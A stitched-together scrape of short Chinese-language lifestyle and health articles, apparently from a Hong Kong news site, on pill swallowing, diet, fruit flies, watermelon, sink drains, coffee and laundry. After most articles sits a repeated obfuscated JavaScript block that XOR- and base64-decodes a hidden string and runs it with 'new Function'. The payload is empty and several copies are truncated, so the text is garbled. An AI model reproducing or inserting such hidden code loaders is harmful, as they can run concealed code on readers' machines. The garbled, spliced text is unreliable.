绝大多数的药片密度较高（比水重）。当你仰头时，药片会自然沉在水底，最先抵达喉咙深处。 正确姿势： 口中含水后，将头轻微向后仰，让药片自然下沉，再随水流一同吞咽，就能轻松过关。 安全服药5大贴士：服药后不宜做1件事 除了因应药丸种类调整抬头或低头的姿势，台湾食药署亦特别提醒市民，日常服药时必须谨记以下五大安全建议，以免对食道造成慢性伤害： 温水水量要充足： 服药时必须配搭至少 200 毫升的温开水，确保有足够的水流将药物完全冲入胃部，避免药物卡在食道。 严禁盲目干吞： 没水时千万不要“干吞”药丸。干吞轻则会刺激喉咙引致敏感、咳嗽，重则可能刮伤食道黏膜，甚至令药物滞留于食道内溶解，释出化学物质引致食道灼伤、溃疡甚至穿孔。 每次逐颗吞服： 吃药切忌贪快“一啖过”。每次服药最好一颗一颗吞，一次最多只吞 1 至 3 粒，以防鲠喉窒息。 切半磨粉先咨询： 若药丸体积过大，市民觉得吞咽困难，切勿自行盲目剪碎。应先咨询医生或药剂师，确认该药物是否可以切半或磨成粉末服用。 服药后不宜即时躺下： 病人躺着吃药极易令药丸滞留在食道中。医生建议服药后 20 至 30 分钟内应保持身体直立（坐着或站着），切勿立刻躺下睡觉。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var...

排便，是每人每日必做的事，但大家有否想过，为何“疴屎”后，往往会有一种难以形容的舒服“爽感”？有专家指出，这并非心理作用，而是由一系列生理和神经机制驱动的真实反应。大家不妨了解背后的科学，保持肠道畅通，享受每日的健康便便时刻。 疴屎好爽有科学根据？拆解排便愉悦之谜 肠胃科医生David D. Clarke指，排便带来的轻松愉悦并非大家的错觉，排便确实会让人有舒服“爽感”，3大原因如下： 1. 迷走神经刺激、引发放松反应 排便时，源自大脑的迷走神经（人体最长的神经）会受到刺激，促进肌肉放松、心跳减慢和血压下降，让人产生平静甚至轻微的“愉悦感”。这种现象在医学上被称为“poo-phoria”（排便欣快）。 2. 血清素释放、提升情绪 约90%的血清素（令人愉快的神经传递物质）由肠道产生。排便时，肠道内壁细胞释放血清素，促进肠道蠕动，同时影响情绪。适量的血清素有助改善心情，但过多或过少都可能导致肠道问题，如腹泻或便秘。 3. 释放压力、带来解脱感 长时间忍住不排便会造成不适，甚至引发便秘。及时回应身体的自然信号，不仅能缓解生理压力，还能带来心理上的解脱感。 健康排便小贴士 要让排便过程更顺畅，肠胃科医生及营养师建议以下习惯： 1. 摄取足够纤维 纤维有助调节肠道功能，无论是便秘还是腹泻都有改善作用。奇亚籽、亚麻籽、豆类等食物是良好的纤维来源，可加入沙律、燕麦或乳酪中。 2. 保持水分充足 充足水分有助食物通过肠道、软化粪便。除了饮水，含水量高的蔬果也能补水。 3. 规律运动 每天步行或进行轻量运动，能促进肠道蠕动，预防便秘。随年龄增长，活动量减少更应注意。 4. 均衡饮食+定时进食 无论是工作繁忙、节食还是压力，减少摄取食物都会减慢肠道蠕动，加重便秘。保持规律的饮食习惯，有助肠道建立节奏。要留意，匆忙进食也会影响消化，应尽量坐下慢慢享用。 5. 建立规律排便习惯 肠道有自己的生理时钟，尽量每日于相约的时间去厕所，并及时回应便意，避免长期“忍屎”。虽然排便感觉良好，但若出现持续疼痛、便血、粪便异常或便秘腹泻，可能反映潜在问题，应及早求医。 资料来源：Eating Well T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var...

减肥控糖以为多吃蛋白质就一定健康，其实看似营养丰富的秋刀鱼及牛腩竟是“热量炸弹”！有营养师拆解日常蛋白质食物热量排行榜，其中减脂和控糖可以首选石斑鱼及鸡胸肉。 营养师拆解蛋白质食物热量排行榜 减脂控糖首选石斑鱼/鸡胸肉 营养师杨斯涵在Facebook专页发文指，近年增肌减脂与减糖饮食的观念越来越普及，许多人都知道减肥要多摄取蛋白质。不过，在诊所常遇到不少人充满疑惑：“我每天都有乖乖食肉、食豆腐，为甚么体脂还是降不下来？甚至连血脂、血糖都卡关呢？”其实，在日常常食的“豆、鱼、蛋、肉类”中，除了含有丰富的蛋白质外，往往还有不同比例的脂肪。如果选错了蛋白质来源，吃进肚里的往往不是制造肌肉的原料，而是一匙一匙的液体脂肪。为了让大家在摄取足够蛋白质（每份含有7克蛋白质）的同时，不会吃进多余负担，营养学上会将这些食材依照“脂肪含量”分为四个等级： 蛋白质食物热量排行榜 1.红灯区（脂肪>10克/份，热量135kcal） 这类食材的脂肪比例远大于蛋白质，对于有控制体重或三高问题的人士，请务必将它们视作偶尔浅尝。 常见食材：烟肉、猪手、猪蹄膀、五花腩及蒜泥白肉 2.橙灯区（脂肪约 10克/份，热量约120kcal） 有时候以为自己在吃健康的蛋白质，其实吃进了大量饱和脂肪，长期下来不仅影响减脂，对心血管亦是一大负担。 常见食材： 豆类：百页豆腐、素鸡。百页豆腐在制作过程中加入了大量植物油，绝对是披着豆腐皮的油脂炸弹。 鱼类和肉类：秋刀鱼、虱目鱼肚、猪五花、梅花肉、牛腩、香肠。加工肉类如香肠、热狗除了高脂，更含有食品添加剂的疑虑，建议尽量少吃。 3.黄灯区（脂肪约5克/份，热量约75kcal） 中脂蛋白质虽然脂肪比低脂高一点，但很多都含有对身体有益的脂肪酸，例如鱼类的Omega-3。只要控制好进食份量，这些原型食物绝对是维持健康的基石。 常见食材： 豆类：无糖黑豆浆、嫩豆腐、板豆腐、黑豆干。 鱼类：三文鱼、鳕鱼、虱目鱼。三文鱼的油脂丰富且具抗发炎功效，非常推荐长者与儿童食用。 蛋类：鸡蛋（1只），全蛋的营养价值极高，虽然蛋黄含有油脂，但健康成年人一日一只绝对没有问题。 肉类：去皮鸡髀肉、猪后腿肉、牛肋条。紧记鸡肉只要去皮，就能减少大量油脂。 4.绿灯区（脂肪≤3克/份，热量约55kcal） 单纯补充蛋白质，几乎没有多余的热量负担，是减脂、控糖的首选。如果目标是积极减脂或改善胰岛素阻抗，建议三餐的蛋白质尽量从这里挑选。 常见食材： 豆类：无糖豆浆（190毫升）、毛豆（约半碗）、生腐竹。毛豆是优质的原型食物，富含膳食纤维。 鱼/海鲜：鲷鱼、鲈鱼、石斑鱼、虾仁、墨鱼、蚬。海鲜类大多属于低脂，是极佳的白肉来源。 肉类：鸡胸肉、鸡柳、牛腱、牛肚、猪红。 除了慎选蛋白质来源，杨斯涵亦提出了以下3个实用的健康饮食小贴士： 首选原型食物：尽量选择看得到原本样貌的原型食物，避开过度加工的素肉或合成肉。 烹调方式：就算买了低脂的鸡胸肉或海鲜，如果用了油炸、糖醋、三杯或大量打芡的烹调方式，最后吃进肚的油脂量也会瞬间飙升到“高脂区”。平时建议多利用清蒸、水煮、干煎、慢烤的方式，最能吃出食物的营养与鲜甜。 灵活配搭：一日的蛋白质摄取量，建议有一半来自植物性蛋白质，如豆制品，不仅胆固醇零负担，更能摄取到丰富的植化素。   资料来源：营养师杨斯涵 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var...

炎夏买香蕉回家，总惹来一大堆果蝇！有灭虫专家教，买回家后只要多做1个简单动作，花短短30秒就能极速避免虫卵孵化。 香蕉买回家多做1个动作 只需30秒防虫卵孵化 鱼浆夫妇在Facebook专页发文分享X（原推特）网友经验，他称自己以前不知道，买了香蕉就直接吃，结果天气一热便爆发果蝇灾难。后来他请来专业的除虫人员到家中处理。专家则分享了一个方法： 香蕉买回家后，立刻用流动的清水冲洗约30秒。 除虫人员表示，由于香蕉皮表面可能依附着大量肉眼难以察觉的果蝇虫卵。只要事先用水将果皮上的虫卵彻底冲走，基本上就能杜绝果蝇滋生。该网民跟着照做后惊叹，家中的果蝇真的神奇地消失了。 网民分享：2招低成本灭果蝇神技 除了用清水冲洗香蕉外，曾经有网民亦分享了多项实战经验，有助解决果蝇问题： 2招低成本灭果蝇神技： 若要捕杀果蝇，可尝试利用“白醋、洗洁精与水”按比例混合制成陷阱。白醋散发的酸甜气味能有效吸引果蝇飞入；而洗洁精的化学特性会破坏水的表面张力，使果蝇一旦接触水面便无法逃脱。 只需将一粒蒜头，放在香蕉的蒂头上，即可令果蝇退避三舍。其驱虫关键在于蒜头含有强烈的大蒜素，这种辛辣且具高度挥发性的气味，对绝大多数昆虫都有显著的驱避效果。不过要注意的是大蒜素在空气中极易氧化，建议将蒜头剥皮或切开，以释放更浓烈的气味。同时，由于蒜头的气味会随时间转弱，通常半天至一天后便需更换新鲜的切开蒜头，才能确保驱虫效力持续。 资料来源：鱼浆夫妇 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var...

炎夏吃西瓜消暑，面对8424、甘美及黑美人等大热品种，到底要怎样挑选？《星岛头条》综合网上资料、营养师、中医师的建议，帮大家分清西瓜品种、掌握选择熟瓜方法，并提醒高危族群切忌过量进食，让大家吃得开心又放心。 8424/甘美/帅童/华宝/黑美人西瓜怎样选？ 市面上的西瓜品种繁多，近年大热的“8424”、“甘美”及经典的“黑美人”到底有何分别？综合网上资料，为大家拆解5大西瓜品种特色，口感与甜度各有不同： 8424西瓜（又称麒麟瓜）：采用新疆哈密瓜的种植技术研发而成。特点是外皮较薄、果肉红润且无籽，糖度可高达14至15度。市面最常见的正品通常配有红色的“8424”标签。 黑美人：果实呈长椭圆形，果皮呈黑绿色且条斑不明显，重量约2.5至3.5公斤。肉色深红，肉质爽口多汁，糖度约12至14度，品质甚为优良。 甘美西瓜：外形呈细长的椭圆形，皮薄无黑核，果肉较红。其口感极佳且非常爽口解渴，甜度更高达15%以上。 帅童西瓜：果皮绿色带有齿条及蜡粉，果皮较韧。果肉呈红色，无籽或仅有极少量的白色瘪籽。中心糖含量约11.8%，边缘糖含量约9.2%，口感良好。 华宝（大西瓜）：果型为长椭圆形，果皮淡绿色并带有网纹。肉质脆嫩，体积庞大，重量可达12至17公斤。 6招选西瓜秘诀  西瓜1颜色代表过熟 买西瓜只懂拍打听声？据健谈网站资料，台湾高雄市凤山医院营养治疗科廖嘉音营养师指出，除了常见拍打听声音的方式外，只要仔细观察西瓜的各个部位，就能轻松挑选出成熟好吃的西瓜： 6招选西瓜秘诀： 观察果形：宜选择头尾大小匀称、圆润光滑的果实。若外形如柚子般头小尾大，或表面有如沟瓣般的凹陷，风味通常较差。 观察瓜纹：小玉西瓜的深绿色瓜纹较明显，可仔细观察直条瓜纹宜宽阔、横条瓜纹则以紧密排列为佳；若是大西瓜的深绿色瓜纹较不明显，但仍可作为辅助判断的依据。 观察颜色：成熟的西瓜应呈现漂亮的碧绿色，但底部贴地处日晒较少，该处若呈现黄色或淡黄色，代表西瓜已成熟；若颜色退成淡绿色，则可能已经过熟。 观察果梗：连接瓜藤的果梗若呈弯曲状，代表西瓜生长于主枝，水分及养分较足，品质优于果梗直立的西瓜。此外，瓜蒂根部若有轻微内凹，亦表示果实已成熟。 观察瓜脐：西瓜底部的瓜脐圆圈宜小而窄、外型完整且按压时带有弹性。若瓜脐已破裂，恐有受虫害风险，应避免购买。 聆听轻拍声：轻拍西瓜腰身时，若发出低沉的“咚咚”声响并带有轻微震动感，表示水分充足；若声音过于清脆，则代表水分较少。 4类人群应限制西瓜进食量 西瓜虽然富含脂溶性维他命，但并非人人皆宜。据健康医疗网网站资料，台北慈济医院中医部主任游明谦医师提醒，西瓜属性较寒，进食份量最多以一个手掌为限，他更特别点名以下4类高危人士应限制进食量： 1.容易腹泻体质 西瓜属性甘寒，若本身体质寒凉、肠胃不佳、容易咳嗽、腹泻体质、大便不成形或软稀感、肠胃敏感不宜吃太多西瓜。吃偏寒的西瓜容易引发肚泻，其原因众多，包括脂溶性维他命摄取过多无法吸收、自律神经系统改变导致肠胃敏感，或是食物过敏等。这类人士并非完全不能吃，但必须密切注意摄取份量及自身症状的稳定性。 2.糖尿病患者 糖尿病患者必须严格控制进食西瓜的份量，以免血糖急速飙升。每100克西瓜的热量约为35kcal，虽然看似不高，但若饭后吃下一大盘，热量随时高达100至200kcal，相等于吃下一整碗白饭。若糖尿病患者饭后进食大量西瓜，会导致血糖控制极度不理想。建议每次最多以一个手掌大小为限，并应优先选择高纤维的水果，避免血糖迅速上升。 3.肾病及需限制水分人士 西瓜的含水量高达93%，一口接一口虽然非常解渴，但对于必须“限水”的病人而言却是极大的隐患。正在洗肾、肾功能不全、患有慢性肾病或心脏衰竭的患者，必须小心控制水分摄取量，可能会令患者出现气喘加剧的情况，或者是肾脏水分排不出去，所以要注意食用的份量。 4.患有哮喘或呼吸道疾病人士 哮喘的小童吃瓜果类特别容易引发咳嗽。根据他多年的临床经验，每5个人当中就有1个会对西瓜过敏，西瓜很可能就是过敏体质者的致敏原。因此，患有呼吸系统疾病、哮喘或属过敏体质的人士，若吃完西瓜后出现咳嗽问题，应尽量改为少量摄取。 游医师建议，饮食应符合中庸之道，西瓜虽好但适量即可。为了发挥西瓜最大的营养价值及保护肠胃，他指出，西瓜富含脂溶性维他命，这类维他命必须配合油脂才能被人体吸收，不像水溶性维他命般能随时吸收。因此，在正餐后进食西瓜，营养吸收效果最佳。此外，天气炎热，大家都会将西瓜放进雪柜保存以防细菌滋生。然而，西瓜本身属性寒凉，若经过冷藏后直接吃下肚，极易刺激肠胃导致敏感。建议从雪柜取出后，先在室温放置一会回温后才进食。若进食后感到身体不适，应即时调整食用量。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var...

锌盘有异味？锌盘内排水管会积聚食物残渣、油脂和细菌，若不及时清理，不但传出阵阵异味，更可能引致堵塞，甚至滋生虫虫。专家建议，建立每周清洁习惯，配合正确方法，便能轻松保持厨房卫生，各位初级大人要留意！ 锌盘发臭｜为何要定期清洁？3个警号揭脏物积聚 清洁专家指出，厨房锌盘排水管应每周清洁一次，以防止油脂、皂垢、食物残渣和矿物质积聚。若疏于打理，这些物质会逐渐硬化，腐蚀管道，缩短使用寿命；更会有以下情况： 难闻异味：食物残渣或油脂分解所产生，是最明显警号。 排水缓慢：油脂与残渣令管道变窄，水流不顺。 发出咕噜声：部分堵塞导致空气滞留，排水时发出异常声响。 此外，排水管周围若见到污泥、油脂薄膜或霉菌，都是内部堆积的明显迹象。定期清理不仅消除异味，更能预防堵塞，延长管道寿命。 锌盘发臭｜勿倒漂白水、日常除臭3招 专家警告，切勿将漂白水或市面化学排水管清洁剂倒入锌盘，这些物质会腐蚀管道及软胶零件，混合使用更可能产生危险气体。同时，油脂、食用废油和咖啡渣也不应倒入，它们会在管道内硬化结块，造成严重堵塞。正确做法是食油宜用纸巾吸干再丢弃、食物残渣则放入垃圾桶。 若想保持锌盘清新，可养成以下习惯： 喷清洁剂刷洗：在排水孔位置喷上温和清洁剂，用刷子彻底刷净缝隙。 放置冰粒：在排水口放满冰块，低温能抑制细菌滋生，减少异味。 即时清理残渣：务必将滤网上的食物残渣及毛发清走，防止异物流入排水管、堆积发臭。 锌盘发臭｜天然清洁法：梳打粉＋白醋 专家推荐以梳打粉（碳酸氢钠）和白醋进行日常清洁，两者产生化学反应，能自然分解皂垢，无需使用刺激性化学剂。做法简单： 1.先开热水冲洗排水管数分钟，软化油脂。 2.将半杯梳打粉直接倒入排水管，再倒入1杯白醋，此时会产生气泡，有助分解污垢。 3.静置约10至15分钟，让反应充分发挥。 4.最后用热水彻底冲洗。每月重复一次，即可维持畅通。 锌盘发臭｜四字诀“截、滤、避、分”预防 除了清洁，预防同样重要。台北市工务局卫工处提出“截、滤、避、分”四字诀，适用于厨房及浴室排水管： 截：洗碗前先用餐巾纸擦拭碗盘，带走表面油脂，厨余分类回收，减少油脂排入管道。 滤：在锌盘排水孔加装滤网，拦截食物残渣及毛发，防止异物流入。 避：避免将油漆、泥沙等装潢废料倒入排水管，施工时应做好保护措施。 分：仅将标示“可投入马桶”的卫生纸丢入马桶，且每次适量，避免一次性大量冲入。 资料来源：Martha Stewart、Taipei PWD T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var...

对于不少每日“靠咖啡续命”的香港上班族而言，咖啡既是提神恩物。坊间一直流传一个根深蒂固的咖啡迷思，认为咖啡因会导致心脏乱跳，甚至引发心脏病，令不少人一边饮一边心惊惊。肾脏科专科医生江守山近日引述多项大型医学研究为咖啡因“洗白”。他指出，大众普遍误会了咖啡因——喝完咖啡后感觉心跳变快，在医学上不等于“心律不整”，两者不能画上等号。研究更证实，适量摄取咖啡因对心血管非常安全，甚至具备保护作用。 心跳加速不等于心脏乱跳 江守山医生表示，现代医学研究已彻底推翻过去认为“咖啡因会导致心脏乱跳”的早期观念。很多人因为喝完咖啡后察觉心跳稍为增速，便认定自己不适合饮咖啡，这其实违反了实证医学。 根据多项涵盖数十万人的大型前瞻性研究及统合分析一致指出，在一般成年人每日摄取300至400毫克咖啡因的上限内（即大约3至4杯普通手冲咖啡），咖啡因并不会引发恶性心律不整，亦不会增加心血管疾病的死亡率。相反，适量饮用还能降低心律不整的发生机率。 每日多饮一杯风险反减3% 为了进一步证实此论点，医生引述了2021年发表于权威医学期刊《美国医学会杂志内科学》（JAMA Internal Medicine）的一项大型报告。该研究分析了英国人体生物资料库（UK Biobank）中超过38万人的长期健康数据。 结果发现，在安全范围内，每天多喝1杯咖啡，发生心律不整（包括心房颤动与室上性心搏过速）的风险反而会下降3%。研究人员更利用基因学上的“孟德尔随机化”进行深度分析，证实即使是天生基因导致“咖啡因代谢较慢”的体质族群，适量摄取咖啡因同样不会增加心律不整的风险，打破了基因决定论的担忧。 黄金饮用量：日饮2至3杯 另一项于2022年发表在《欧洲预防心脏病学杂志》（European Journal of Preventive Cardiology）的大型研究，更对约45万名受试者进行了长达12.5年的超长期追踪。 数据分析显示，不论是现磨研磨咖啡还是即溶咖啡，每天饮用2至3杯的人，其心血管疾病发病率、心律不整发生率，以及全因死亡率均降至最低点。研究人员相信，这与咖啡中除了咖啡因外，还富含多种天然抗氧化物、抗炎成分有关。 医生提醒，虽然咖啡因被证实不会引发恶性心房颤动，但市民仍应注意个人耐受度。若本身对咖啡因较敏感，饮用后出现胃酸倒流、失眠或极度焦虑感，仍需适量减量。只要不盲目过量饮用，咖啡绝对是打工仔健康神队友。 资料来源：肾脏科专科医生江守山 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) ...

除了吃鱼和鱼油丸可以补充Omega-3，还可以吃甚么？有营养师推介3款超级好油，有助抗发炎和护心血管，其中紫苏油的Omega-3含量更高达60%。 营养师推荐3款超级好油 抗发炎/护心血管 营养师杨斯涵在Facebook专页发文指，不少正在进行减糖饮食的人士问：“我知道吃好油很重要，但我平常很少吃鱼，也不太喜欢吞鱼油丸，这样还有办法补充到足够的Omega-3 吗？”其实在植物界中，有三款被誉为“素食者鱼油”的超级好油，均含有极为丰富的植物性Omega-3，亦即是α-亚麻油酸（ALA）。当α-亚麻油酸在进入人体后，可以部分转换为EPA与DHA，有助调节生理机能、促进心血管健康，对于抗发炎亦有极佳的辅助效果。 虽然这三款油都是Omega-3的优质来源，但在整体的脂肪酸比例上，依然各有特色： 3款超级好油抗发炎/护心血管 1.紫苏油 Omega-3占比：约60% Omega-6占比：约15% 紫苏油Omega-3含量极高，几乎是植物油中的冠军。对于经常外出用膳的人士，平日饮食中通常已摄取了过多的Omega-6，例如大豆油、葵花籽油，容易导致体内发炎反应增加。此时适时补充紫苏油，是非常好的平衡策略。 2.奇亚籽油 Omega-3占比：约60% Omega-6占比：约20% 萃取出的奇亚籽油同样拥有高达60%的Omega-3。除此之外，它还含有丰富的植物抗氧化物质，能帮助油脂在保存时相对稳定，是日常保养的优质选择。 3.印加果油 Omega-3占比：约45-48% Omega-6占比：约35-36% 来自南美洲的印加果油最大的亮点在于天然脂肪酸比例非常均衡，Omega-3与Omega-6的比例大约是1.2：1。如果平常的饮食本身就比较清淡、甚少外出用膳，这款油能提供非常均衡的必需脂肪酸。 超级好油建议采用4种健康食法 杨斯涵特别提醒，即使买了顶级的好油，若用错烹调方式，反而会氧化变质并产生有害物质。因为这三款油含有大量高度不饱和脂肪酸，冒烟点偏低，绝对不适合用于煎、炒、炸等高温烹调。她建议采用以下4种健康食法： 直接冷拌：将油淋在生菜沙律、温沙律或是冷拌豆腐上，搭配天然的原型食物一起进食。 汤品提味：在煮好的热汤或蔬菜汤端上桌后，滴上几滴好油以增加风味。 加入饮品：每天早上可将油加入绿拿铁、无糖豆浆或乳酪中，搅拌均匀后一同饮用。 直接生饮：每日直接饮用一小匙，简单又快速。 资料来源：营养师杨斯涵 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var...

香港天气潮湿，遇上回南天或雨季，洗完的衣服往往晾几天都带有阵阵霉味，令人非常头痛。网上流传日本电视节目截图，教大家如何可以极快晾干衣服。根据日本气象协会与多位家事专家的实际测试，这种被称为“弓型晒法（弓なり干し）”的排列方式，就是能让衣物最快干燥的正确答案。不过，除了最强的“红色晒法”，坊间还有很多常见的晾衫习惯。今天就来拆解其他晒法的缺点，看看为甚么它们会拖慢衣服变干的速度。 1.弓型晒法 创造上升气流 首先了解一下“红色：弓型晒法”的科学原理。这种晒法是将长外衣、长裤等长款衣物挂在衣架两侧，而短袖衫、短裤等短款衣物则集中在中间排列。 之所以能大幅缩短整体干燥时间，核心原因在于它能在衣物下方创造高效的“上升气流”。当中间悬挂短衣物时，衣物下方会留出一个较大的空旷空间。周围的空气进入这个相对空旷的区域后，由于上方空间较大，会形成一个顺畅的空气通道。随着空气在中间聚集并向上流动，会产生微弱的上升气流（烟囱效应），这种持续流动的空气能迅速带走衣物表面的水气。 2.均等晒法 导致干燥不均 对比之下，蓝色：均等晒法，缺点就非常明显。 这种依长度由长到短、像楼梯般渐进排列的晒法，会导致气流只能从单一方向通过。当风吹过去时，很容易在长衣物的那一侧形成空气滞留，水分无法顺畅挥发，最终导致整批衣服干燥不均匀，常常出现一边已经干透、另一边却依然湿漉漉的情况。 坊间还有很多常见的晾衫习惯。今天就来拆解其他晒法的缺点，看看为甚么它们会拖慢衣服变干的速度。(鱼浆夫妇@FaceBook ) 3.V字晒法 阻挡风道囤积水气 至于许多人顺手就会使用的绿色：V 字晒法（即长衣物挂在中间，短衣物挂在两侧），则是家事专家眼中的“中伏位”。 这种排列会让中间的长衣物把下方的空间完全阻挡。当周围的空气进入衣架下方后，会卡在中央被长衣物拦截，无法向上流动。空气一旦失去对流，水气就极容易在衣服之间囤积，反而延长了晾衫的时间。 4.凸凹晒法 削弱风速形成乱流 最后一种是黄色：凸凹晒法，也就是长短衣物交错混杂悬挂、完全没有规律的晒法。 这种凌乱的排列方式，会导致气流在通过衣物之间的缝隙时，不断撞击到突出来的长衣物。如此一来，风速会被严重削弱，并在衣物表面形成无数个小涡流。因为无法形成有效的单向风道，水分被带走的速度自然就会大打折扣。 掌握了这4种晒法的利弊，下次晾衫时记得跟随“红色：弓型晒法”的黄金法则，把短衫留中间，就能利用天然风道帮衣服快速吹干了！ T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var...

不少独立生活的“初级大人”为了悭水、悭电，同时贪图方便，总喜欢将脱下来的脏衣服积存一至两天，直到把洗衣机塞得满满的才一次过清洗。不过，日本知名洗衣研究员平岛理惠指出，这个自以为精打细算的观念完全错误！洗衣机内的衣物放得太多，非但洗不干净，甚至会弄巧成拙导致更嘥水、嘥电。到底洗衣机的“黄金洗衣量”是多少？立刻看看专家的详细分析！ 污糟衫裤塞满洗衣机 3大严重后果 很多人抱着“反正洗衣机开一次就是用这么多水，塞得越满越划算”的心态。但平岛理惠表示，这种盲目追求“大容量”的清洗方式，其实会对衣物和机器带来以下3大反效果： 无法彻底去污： 当洗衣槽被塞得密不透风时，衣物在滚筒内会失去翻滚和互相摩擦的空间，洗衣剂无法平均渗透每件衣服的纤维，导致汗渍和污垢依然残留。 细菌滋生引致异味： 由于水流无法有效带走所有脏污，洗完的衣服极易残留皮脂与细菌。衣服晾干后，不但没有洗衣粉的香气，反而会散发出一阵阵洗不掉的“汗臭味”或霉味。 增加耗损更浪费水： 衣服过重会令洗衣机的电机运转过载，加速机器老化。更糟糕的是，部分智能洗衣机会因为侦测到衣物过多、开头洗得不顺而自动追加冲洗次数，结果反而变得更费水费电。 污糟衫裤塞满洗衣机 3大严重后果 主妇必学7分满黄金法则 